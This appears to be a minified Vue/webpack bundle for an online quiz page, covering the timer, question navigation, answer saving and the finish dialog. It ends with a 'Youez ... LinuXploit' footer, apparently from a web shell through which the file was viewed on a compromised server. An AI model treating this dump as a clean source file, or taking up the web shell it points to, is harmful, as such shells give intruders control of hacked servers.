w-full mx-auto absolute top-0 right-0 flex items-center px-4 shadow"}),t._v(" "),s("div",{staticClass:"z-20 h-16 w-full mx-auto absolute top-16 ltr:left-0 rtl:right-0 bg-white border-b border-l border-gray-200 flex ltr:flex-row rtl:flex-row-reverse justify-between items-center px-4 sm:px-6 lg:px-8"},[t._t("actions")],2),t._v(" "),s("perfect-scrollbar",{ref:"scroll",staticClass:"h-screen max-h-screen px-4 sm:px-6 lg:px-8 pt-32 pb-72 bg-gray-50 border-l border-gray-200",attrs:{options:t.scrollbarOptions}},[t._t("questions")],2),t._v(" "),s("div",{staticClass:"w-96 w-full absolute left-0 bottom-16 px-4 sm:px-6 lg:px-8 bg-white border-t border-l border-gray-200"},[t._t("stats")],2),t._v(" "),s("div",{staticClass:"w-96 w-full absolute left-0 bottom-0 px-4 sm:px-6 lg:px-8 bg-white border-t border-l border-gray-200"},[t._t("footer")],2)],1),t._v(" "),s("div",{ref:"mobileNav",staticClass:"w-80 h-full z-40 absolute bg-gray-50 shadow md:h-full flex-col justify-between sm:hidden transition duration-150 ease-in-out"},[t.moved?s("div",{staticClass:"h-10 w-10 text-white bg-gray-800 absolute ltr:right-0 rtl:left-0 mt-3 ltr:-mr-10 rtl:-ml-10 flex items-center shadow ltr:rounded-tr ltr:rounded-br rtl:rounded-tl rtl:rounded-bl justify-center cursor-pointer",attrs:{id:"openSideBar"},on:{click:function(e){return t.sidebarHandler(!0)}}},[s("svg",{staticClass:"w-6 h-6",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M8.228 9c.549-1.165 2.03-2 3.772-2 2.21 0 4 1.343 4 3 0 1.4-1.278 2.575-3.006 2.907-.542.104-.994.54-.994 1.093m0 3h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"}})])]):t._e(),t._v(" "),t.moved?t._e():s("div",{staticClass:"h-10 w-10 text-white bg-gray-800 absolute ltr:right-0 rtl:left-0 mt-3 z-50 ltr:mr-4 rtl:ml-4 flex items-center shadow rounded justify-center cursor-pointer",attrs:{id:"closeSideBar"},on:{click:function(e){return t.sidebarHandler(!0)}}},[s("svg",{staticClass:"w-6 h-6",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M6 18L18 6M6 6l12 12"}})])]),t._v(" "),s("div",{staticClass:"z-30 h-16 w-full mx-auto absolute top-0 left-0 bg-gray-800 shadow flex items-center px-4"},[t._t("title")],2),t._v(" "),s("div",{staticClass:"z-20 h-16 w-full mx-auto absolute top-16 left-0 bg-gray-50 border-b border-gray-200 flex ltr:flex-row rtl:flex-row-reverse justify-between items-center px-4"},[t._t("actions")],2),t._v(" "),s("perfect-scrollbar",{ref:"scroll",staticClass:"h-screen max-h-screen overflow-hidden px-4 pt-32 pb-72",attrs:{options:t.scrollbarOptions}},[t._t("questions")],2),t._v(" "),s("div",{staticClass:"w-full absolute bottom-16 border-t border-gray-200 bg-white px-4"},[t._t("stats")],2),t._v(" "),s("div",{staticClass:"w-full absolute bottom-0 border-t border-gray-200 bg-white px-4"},[t._t("footer")],2)],1)])])}),[],!1,null,null,null).exports;var u=s(807),c=s(50730),d=s(73334),p=s(94987),m=s(27148),h=s(66295),v=s(2304),f=s(97448),w=s(30750),x=s(37338),g=s(78068),b=s(23860),y=s(71396),C=s(44232),q=s(89808),k=s(75004),A=s(94731),S=s.n(A),M=s(30281),Q=s(60118),Z=s(72522),O=s(21607),j=s(72263),N=s(28006),$=s(75521);function T(t,e){return function(t){if(Array.isArray(t))return t}(t)||function(t,e){var s=null==t?null:"undefined"!=typeof Symbol&&t[Symbol.iterator]||t["@@iterator"];if(null==s)return;var n,r,i=[],o=!0,a=!1;try{for(s=s.call(t);!(o=(n=s.next()).done)&&(i.push(n.value),!e||i.length!==e);o=!0);}catch(t){a=!0,r=t}finally{try{o||null==s.return||s.return()}finally{if(a)throw r}}return i}(t,e)||function(t,e){if(!t)return;if("string"==typeof t)return z(t,e);var s=Object.prototype.toString.call(t).slice(8,-1);"Object"===s&&t.constructor&&(s=t.constructor.name);if("Map"===s||"Set"===s)return Array.from(t);if("Arguments"===s||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(s))return z(t,e)}(t,e)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function z(t,e){(null==e||e>t.length)&&(e=t.length);for(var s=0,n=new Array(e);s<e;s++)n[s]=t[s];return n}function F(t,e,s,n,r,i,o){try{var a=t[i](o),l=a.value}catch(t){return void s(t)}a.done?e(l):Promise.resolve(l).then(n,r)}function B(t){return function(){var e=this,s=arguments;return new Promise((function(n,r){var i=t.apply(e,s);function o(t){F(i,n,r,o,a,"next",t)}function a(t){F(i,n,r,o,a,"throw",t)}o(void 0)}))}}const E={components:{SAQInteractiveOptions:g.Z,FIBInteractiveOptions:x.Z,ORDInteractiveOptions:w.Z,MTFInteractiveOptions:f.Z,MSAInteractiveOptions:h.Z,MMAInteractiveOptions:v.Z,QuizLayout:l,PrevButton:u.Z,NextButton:c.Z,ReviewButton:p.Z,FinishButton:m.Z,ClearButton:d.Z,PerfectScrollbar:i.PerfectScrollbar,LightQuestionCard:b.Z,ExamQuestionChip:y.Z,NavigationQuestionCardShimmer:q.Z,QuizQuestionCard:C.Z,VueCountdown:S(),PracticeQuestionShimmer:k.Z,AudioAttachment:M.Z,VideoAttachment:Q.Z,ComprehensionAttachment:Z.Z,Dialog:O.default,Button:j.default,QuestionChip:$.Z},directives:{tooltip:N.default},props:{quiz:Object,session:Object,remainingTime:Number,answeredQuestions:Number},data:function(){return{questions:[],answered:this.answeredQuestions,total_time_taken:this.session.total_time_taken,current_question:this.session.current_question,chipView:!0,loading:!0,submitting:!1,scrollbarOptions:{maxScrollbarLength:1,suppressScrollX:!0},displayConfirmation:!1,answered_count:0}},methods:{updateStatus:function(){"answered_mark_for_review"===this.questions[this.current_question].status||"touched"===this.questions[this.current_question].status&&"mark_for_review"===this.questions[this.current_question].status?this.questions[this.current_question].status="answered_mark_for_review":"touched"===this.questions[this.current_question].status||"answered"===this.questions[this.current_question].status?this.questions[this.current_question].status="answered":"mark_for_review"===this.questions[this.current_question].status?this.questions[this.current_question].status="mark_for_review":this.questions[this.current_question].status="not_answered"},getPayload:function(){return{question_id:this.questions[this.current_question].code,user_answer:this.questions[this.current_question].user_answer,time_taken:this.questions[this.current_question].time_taken,total_time_taken:this.total_time_taken,current_question:this.current_question,status:this.questions[this.current_question].status}},submitAnswer:function(t){var e=this;e.submitting=!0,axios.post(route("update_quiz_answer",{quiz:this.quiz.slug,session:this.session.code}),t).then((function(t){var s=t.data;e.answered=s.answered,e.submitting=!1})).catch((function(t){e.submitting=!1})).then((function(){e.submitting=!1}))},finishAlert:function(){var t=this;return B(r().mark((function e(){return r().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,t.updateStatus();case 2:return e.t0=t,e.next=5,t.getPayload();case 5:e.t1=e.sent,e.t0.submitAnswer.call(e.t0,e.t1),t.displayConfirmation=!0;case 8:case"end":return e.stop()}}),e)})))()},closeConfirmation:function(){this.displayConfirmation=!1},finishTest:function(){this.$inertia.post(route("finish_quiz_session",{quiz:this.quiz.slug,session:this.session.code}),{total_time_taken:this.total_time_taken,questions:this.questions},{replace:!0})},updateAnswer:function(t){this.questions[this.current_question].user_answer=t,this.questions[this.current_question].status="touched"},prevQuestion:function(){0!==this.current_question&&this.current_question--},nextQuestion:function(){var t=this;return B(r().mark((function e(){return r().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,t.updateStatus();case 2:return e.t0=t,e.next=5,t.getPayload();case 5:e.t1=e.sent,e.t0.submitAnswer.call(e.t0,e.t1),t.current_question<t.questions.length-1&&t.current_question++;case 8:case"end":return e.stop()}}),e)})))()},jumpToQuestion:function(t){var e=this;return B(r().mark((function s(){return r().wrap((function(s){for(;;)switch(s.prev=s.next){case 0:return s.next=2,e.updateStatus();case 2:return s.t0=e,s.next=5,e.getPayload();case 5:s.t1=s.sent,s.t0.submitAnswer.call(s.t0,s.t1),e.current_question>t?e.currentTransition="prev":e.currentTransition="next",e.current_question=t;case 9:case"end":return s.stop()}}),s)})))()},markForReview:function(){var t=this;return B(r().mark((function e(){return r().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return"touched"===t.questions[t.current_question].status||"answered"===t.questions[t.current_question].status||"answered_mark_for_review"===t.questions[t.current_question].status?t.questions[t.current_question].status="answered_mark_for_review":t.questions[t.current_question].status="mark_for_review",e.next=3,t.updateStatus();case 3:return e.t0=t,e.next=6,t.getPayload();case 6:e.t1=e.sent,e.t0.submitAnswer.call(e.t0,e.t1);case 8:case"end":return e.stop()}}),e)})))()},clearAnswer:function(){var t=this;return B(r().mark((function e(){var s;return r().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return s=t.questions[t.current_question].questionType,t.questions[t.current_question].user_answer=t.getClearedAnswer(s),t.questions[t.current_question].status="not_answered",e.next=5,t.updateStatus();case 5:return e.t0=t,e.next=8,t.getPayload();case 8:e.t1=e.sent,e.t0.submitAnswer.call(e.t0,e.t1);case 10:case"end":return e.stop()}}),e)})))()},getClearedAnswer:function(t){switch(t){case"MTF":return this.questions[this.current_question].options.pairs;case"ORD":return this.questions[this.current_question].options;case"MMA":case"FIB":return[];default:return""}},fetchQuestions:function(){var t=this;t.loading=!0,axios.get(route("fetch_quiz_questions",{quiz:this.quiz.slug,session:this.session.code})).then((function(e){var s=e.data;t.questions=s.questions,"completed"!==t.session.status&&t.startTimer()})).catch((function(e){t.loading=!1})).then((function(){t.loading=!1}))},transformSlotProps:function(t){var e={};return Object.entries(t).forEach((function(t){var s=T(t,2),n=s[0],r=s[1];e[n]=r<10?"0".concat(r):String(r)})),e},startTimer:function(){setInterval(this.incrementTime,1e3)},incrementTime:function(){this.total_time_taken=parseInt(this.total_time_taken)+1,this.questions[this.current_question].time_taken=parseInt(this.questions[this.current_question].time_taken)+1}},metaInfo:function(){return{title:this.title}},computed:{title:function(){return this.quiz.title+" - "+this.$page.props.general.app_name},appUrl:function(){return this.$page.props.appUrl},nextBtnText:function(){return this.current_question<this.questions.length-1?this.__("Save & Next"):this.__("Save")},notAnsweredQuestions:function(){return _.sumBy(this.questions,(function(t){var e=t.status;return Number("not_answered"===e)}))},notVisitedQuestions:function(){return _.sumBy(this.questions,(function(t){var e=t.status;return Number("not_visited"===e)}))},markForReviewQuestions:function(){return _.sumBy(this.questions,(function(t){var e=t.status;return Number("mark_for_review"===e)}))},answeredMarkForReviewQuestions:function(){return _.sumBy(this.questions,(function(t){var e=t.status;return Number("answered_mark_for_review"===e)}))},touchedQuestions:function(){return _.sumBy(this.questions,(function(t){var e=t.status;return Number("touched"===e)}))}},mounted:function(){document.addEventListener("contextmenu",(function(t){return t.preventDefault()})),this.fetchQuestions()}};var P=s(93379),I=s.n(P),R=s(17990),V={insert:"head",singleton:!1};I()(R.Z,V);R.Z.locals;const L=(0,a.Z)(E,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("quiz-layout",{scopedSlots:t._u([{key:"title",fn:function(){return[s("h4",{staticClass:"font-semibold text-white"},[t._v(t._s(t.quiz.title))])]},proxy:!0},{key:"timer",fn:function(){return[s("span",{staticClass:"ltr:ml-2 rtl:mr-2"},[s("vue-countdown",{attrs:{time:1e3*t.remainingTime,transform:t.transformSlotProps},on:{end:t.finishTest},scopedSlots:t._u([{key:"default",fn:function(e){e.days;var s=e.hours,n=e.minutes,r=e.seconds;return[t._v("\n                "+t._s("00"!==s?s+":":"")+t._s(n)+":"+t._s(r)+"\n            ")]}}])})],1)]},proxy:!0},{key:"actions",fn:function(){return[s("div",{directives:[{name:"tooltip",rawName:"v-tooltip.bottom",value:0===t.touchedQuestions?"Progress Saved":"Some Responses Need to Save",expression:"touchedQuestions === 0 ? 'Progress Saved': 'Some Responses Need to Save'",modifiers:{bottom:!0}}],staticClass:"flex ltr:flex-row rtl:flex-row-reverse items-center"},[s("div",{staticClass:"w-2 h-2 rounded-full ltr:mr-2 rtl:mr-2",class:[0===t.touchedQuestions?"bg-green-600":"bg-yellow-600"]}),t._v(" "),t.submitting?s("h5",{staticClass:"text-sm text-gray-800"},[t._v(t._s(t.__("Saving Progress...")))]):s("h5",{staticClass:"text-sm text-gray-800"},[t._v(t._s(t.answered)+"/"+t._s(t.quiz.total_questions)+" "+t._s(t.__("Answered")))])]),t._v(" "),t.quiz.settings.list_questions?s("button",{staticClass:"text-gray-400 hover:text-gray-800 focus:outline-none",on:{click:function(e){t.chipView=!t.chipView}}},[t.chipView?t._e():s("svg",{staticClass:"w-6 h-6",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M4 6a2 2 0 012-2h2a2 2 0 012 2v2a2 2 0 01-2 2H6a2 2 0 01-2-2V6zM14 6a2 2 0 012-2h2a2 2 0 012 2v2a2 2 0 01-2 2h-2a2 2 0 01-2-2V6zM4 16a2 2 0 012-2h2a2 2 0 012 2v2a2 2 0 01-2 2H6a2 2 0 01-2-2v-2zM14 16a2 2 0 012-2h2a2 2 0 012 2v2a2 2 0 01-2 2h-2a2 2 0 01-2-2v-2z"}})]),t._v(" "),t.chipView?s("svg",{staticClass:"w-6 h-6",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M4 6h16M4 10h16M4 14h16M4 18h16"}})]):t._e()]):t._e()]},proxy:!0},{key:"sections",fn:function(){return[s("button",{staticClass:"focus:outline-none flex items-center gap-2 text-white text-sm bg-green-800 hover:bg-green-600 rounded-sm py-2 px-4"},[s("svg",{staticClass:"w-5 h-5",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}})]),t._v(" "),s("span",[t._v(t._s(t.__("All Questions")))])])]},proxy:!0},{key:"questions",fn:function(){return[s("div",[t.loading?s("ul",[s("li",[s("NavigationQuestionCardShimmer")],1),t._v(" "),s("li",[s("NavigationQuestionCardShimmer")],1),t._v(" "),s("li",[s("NavigationQuestionCardShimmer")],1),t._v(" "),s("li",[s("NavigationQuestionCardShimmer")],1)]):s("ul",{staticClass:"my-6",class:{"flex flex-wrap justify-center items-center gap-2":t.chipView}},t._l(t.questions,(function(e,n){return s("li",{key:e.code,on:{click:function(e){return t.jumpToQuestion(n)}}},[t.chipView?t._e():s("light-question-card",{attrs:{question:e,sno:n+1,is_correct:e.is_correct,status:e.status,active:t.current_question===n}}),t._v(" "),t.chipView?s("exam-question-chip",{attrs:{sno:n+1,is_correct:e.is_correct,status:e.status,active:t.current_question===n}}):t._e()],1)})),0)])]},proxy:!0},{key:"stats",fn:function(){return[s("div",{staticClass:"w-full h-56 bg-white grid grid-cols-2 bg-white py-4"},[s("div",{staticClass:"flex items-center gap-2"},[s("question-chip",{attrs:{sno:t.answered,status:"success"}}),t._v(" "),s("span",{staticClass:"text-xs"},[t._v(t._s(t.__("Answered")))])],1),t._v(" "),s("div",{staticClass:"flex items-center gap-2"},[s("question-chip",{attrs:{sno:t.notAnsweredQuestions,status:"danger"}}),t._v(" "),s("span",{staticClass:"text-xs"},[t._v(t._s(t.__("Not Answered")))])],1),t._v(" "),s("div",{staticClass:"flex items-center gap-2"},[s("question-chip",{attrs:{sno:t.markForReviewQuestions,status:"warning"}}),t._v(" "),s("span",{staticClass:"text-xs"},[t._v(t._s(t.__("Marked for Review")))])],1),t._v(" "),s("div",{staticClass:"flex items-center gap-2"},[s("question-chip",{attrs:{sno:t.answeredMarkForReviewQuestions,status:"caution"}}),t._v(" "),s("span",{staticClass:"text-xs"},[t._v(t._s(t.__("Answered & Marked for Review")))])],1),t._v(" "),s("div",{staticClass:"flex items-center gap-2"},[s("question-chip",{attrs:{sno:t.notVisitedQuestions,status:"default"}}),t._v(" "),s("span",{staticClass:"text-xs"},[t._v(t._s(t.__("Not Visited")))])],1)])]},proxy:!0},{key:"footer",fn:function(){return[s("div",{staticClass:"w-full h-16 flex items-center justify-center bg-white"},[t.quiz.settings.disable_finish_button?t._e():s("button",{staticClass:"w-full focus:outline-none",on:{click:t.finishAlert}},[s("finish-button",{attrs:{name:t.__("Finish Test")}})],1)])]},proxy:!0}])},[t._v(" "),t._v(" "),t._v(" "),t._v(" "),t._v(" "),t._v(" "),t._v(" "),s("perfect-scrollbar",{ref:"scroll2",staticClass:"h-screen max-h-screen pt-32 pb-16",attrs:{options:t.scrollbarOptions}},[s("div",{staticClass:"mx-auto px-4 sm:px-6 lg:px-8"},[s("div",{staticClass:"flex flex-col justify-center"},[t.loading?s("div",{staticClass:"w-full mt-4 py-4 sm:w-2/3"},[s("PracticeQuestionShimmer",{staticClass:"w-full"})],1):s("div",{staticClass:"w-full mt-4 py-4"},t._l(t.questions,(function(e,n){return s("div",{key:e.id,staticClass:"w-full"},[s("div",{directives:[{name:"show",rawName:"v-show",value:t.current_question===n,expression:"current_question === index"}],staticClass:"flex flex-col sm:flex-row gap-4",attrs:{id:e.code}},[null!=e.attachment_type?s("div",{staticClass:"w-full sm:w-1/3 sm:ltr:border-r sm:rtl:border-l sm:border-gray-300 ltr:pr-4 rtl:pl-4"},["audio"===e.attachment_type?s("div",[s("audio-attachment",{attrs:{reference:"player_"+e.code,options:e.attachment}})],1):t._e(),t._v(" "),"video"===e.attachment_type?s("div",[s("video-attachment",{attrs:{reference:"player_"+e.code,options:e.attachment}})],1):t._e(),t._v(" "),"comprehension"===e.attachment_type?s("div",[s("comprehension-attachment",{attrs:{passage:e.attachment}})],1):t._e()]):t._e(),t._v(" "),s("div",{staticClass:"w-full sm:w-2/3"},[s("div",[s("quiz-question-card",{key:e.card,attrs:{question:e,sno:n+1,"total-questions":t.quiz.total_questions}}),t._v(" "),"MSA"===e.questionType||"TOF"===e.questionType?s("div",{staticClass:"mt-4"},[s("MSAInteractiveOptions",{key:e.code,attrs:{"parent-qid":e.code,status:e.status,"parent-options":e.options,"parent-answer":e.user_answer},on:{modifyAnswer:t.updateAnswer}})],1):t._e(),t._v(" "),"MMA"===e.questionType?s("div",{staticClass:"mt-4"},[s("MMAInteractiveOptions",{key:e.code,attrs:{"parent-qid":e.code,status:e.status,"parent-options":e.options,"parent-answer":e.user_answer},on:{modifyAnswer:t.updateAnswer}})],1):t._e(),t._v(" "),"MTF"===e.questionType?s("div",{staticClass:"mt-4"},[s("MTFInteractiveOptions",{key:e.code,attrs:{parentQid:e.code,status:e.status,"parent-options":e.options,"parent-answer":e.user_answer},on:{modifyAnswer:t.updateAnswer}})],1):t._e(),t._v(" "),"ORD"===e.questionType?s("div",{staticClass:"mt-4"},[s("ORDInteractiveOptions",{key:e.code,attrs:{parentQid:e.code,status:e.status,"parent-options":e.options,"parent-answer":e.user_answer},on:{modifyAnswer:t.updateAnswer}})],1):t._e(),t._v(" "),"FIB"===e.questionType?s("div",{staticClass:"mt-4"},[s("FIBInteractiveOptions",{key:e.code,attrs:{parentQid:e.code,status:e.status,"parent-options":e.options,"parent-answer":e.user_answer},on:{modifyAnswer:t.updateAnswer}})],1):t._e(),t._v(" "),"SAQ"===e.questionType?s("div",{staticClass:"mt-4"},[s("SAQInteractiveOptions",{key:e.code,attrs:{parentQid:e.code,status:e.status,"parent-options":e.options,"parent-answer":e.user_answer},on:{modifyAnswer:t.updateAnswer}})],1):t._e()],1)])])])})),0)])])]),t._v(" "),s("div",{staticClass:"w-full h-16 absolute z-30 bottom-0 right-0 border-t border-gray-200 mx-auto bg-white"},[s("div",{staticClass:"w-full h-full mx-auto px-4 sm:px-6 lg:px-8"},[t.loading?t._e():s("div",{staticClass:"h-full flex flex-col justify-center items-center"},[s("div",{staticClass:"w-full flex items-center gap-2 justify-between"},[s("div",{staticClass:"flex items-center gap-2"},[s("button",{staticClass:"focus:outline-none",on:{click:t.clearAnswer}},[s("clear-button",{attrs:{name:t.__("Clear Answer")}})],1),t._v(" "),s("button",{staticClass:"focus:outline-none",on:{click:t.markForReview}},[s("review-button",{attrs:{name:t.__("Mark for Review")}})],1)]),t._v(" "),s("div",{staticClass:"flex items-center gap-2"},[s("button",{staticClass:"focus:outline-none",on:{click:t.nextQuestion}},[s("next-button",{attrs:{name:t.nextBtnText}})],1)])])])])]),t._v(" "),s("Dialog",{style:{width:"350px"},attrs:{header:"Confirmation",visible:t.displayConfirmation,modal:!0},on:{"update:visible":function(e){t.displayConfirmation=e}},scopedSlots:t._u([{key:"footer",fn:function(){return[s("Button",{staticClass:"p-button-text",attrs:{label:"No",icon:"pi pi-times"},on:{click:t.closeConfirmation}}),t._v(" "),s("Button",{staticClass:"p-button-text",attrs:{label:"Yes",icon:"pi pi-check",autofocus:""},on:{click:t.finishTest}})]},proxy:!0}])},[s("div",{staticClass:"w-full flex gap-2 items-center mb-2"},[s("i",{staticClass:"pi pi-exclamation-triangle p-mr-3 text-xl text-red-500"}),t._v(" "),s("span",{staticClass:"text-base"},[t._v(t._s(t.__("Are you sure you want to finish?")))])]),t._v(" "),s("div",{staticClass:"w-full flex gap-4 sm:justify-center items-center"},[s("table",{staticClass:"w-full table-auto"},[s("tbody",[s("tr",[s("td",{staticClass:"border border-emerald-500 px-4 py-2 text-emerald-600 text-sm"},[t._v(t._s(t.__("Answered")))]),t._v(" "),s("td",{staticClass:"border border-emerald-500 px-4 py-2 text-emerald-600 font-medium text-sm text-right"},[t._v("\n                        "+t._s(t.answered)+"\n                    ")])]),t._v(" "),s("tr",{staticClass:"bg-emerald-200"},[s("td",{staticClass:"border border-emerald-500 px-4 py-2 text-emerald-600 text-sm"},[t._v(t._s(t.__("Not Answered")))]),t._v(" "),s("td",{staticClass:"border border-emerald-500 px-4 py-2 text-emerald-600 font-medium text-sm text-right"},[t._v("\n                        "+t._s(t.notAnsweredQuestions)+"\n                    ")])]),t._v(" "),s("tr",[s("td",{staticClass:"border border-emerald-500 px-4 py-2 text-emerald-600 text-sm"},[t._v(t._s(t.__("Not Visited")))]),t._v(" "),s("td",{staticClass:"border border-emerald-500 px-4 py-2 text-emerald-600 font-medium text-sm text-right"},[t._v("\n                        "+t._s(t.notVisitedQuestions)+"\n                    ")])]),t._v(" "),s("tr",[s("td",{staticClass:"border border-emerald-500 px-4 py-2 text-emerald-600 text-sm"},[t._v(t._s(t.__("Marked for Review")))]),t._v(" "),s("td",{staticClass:"border border-emerald-500 px-4 py-2 text-emerald-600 font-medium text-sm text-right"},[t._v("\n                        "+t._s(t.markForReviewQuestions)+"\n                    ")])]),t._v(" "),s("tr",[s("td",{staticClass:"border border-emerald-500 px-4 py-2 text-emerald-600 text-sm"},[t._v(t._s(t.__("Answered & Marked for Review")))]),t._v(" "),s("td",{staticClass:"border border-emerald-500 px-4 py-2 text-emerald-600 font-medium text-sm text-right"},[t._v("\n                        "+t._s(t.answeredMarkForReviewQuestions)+"\n                    ")])])])])])])],1)}),[],!1,null,"581eb206",null).exports}}]);

Youez - 2016 - github.com/yon3zu
LinuXploit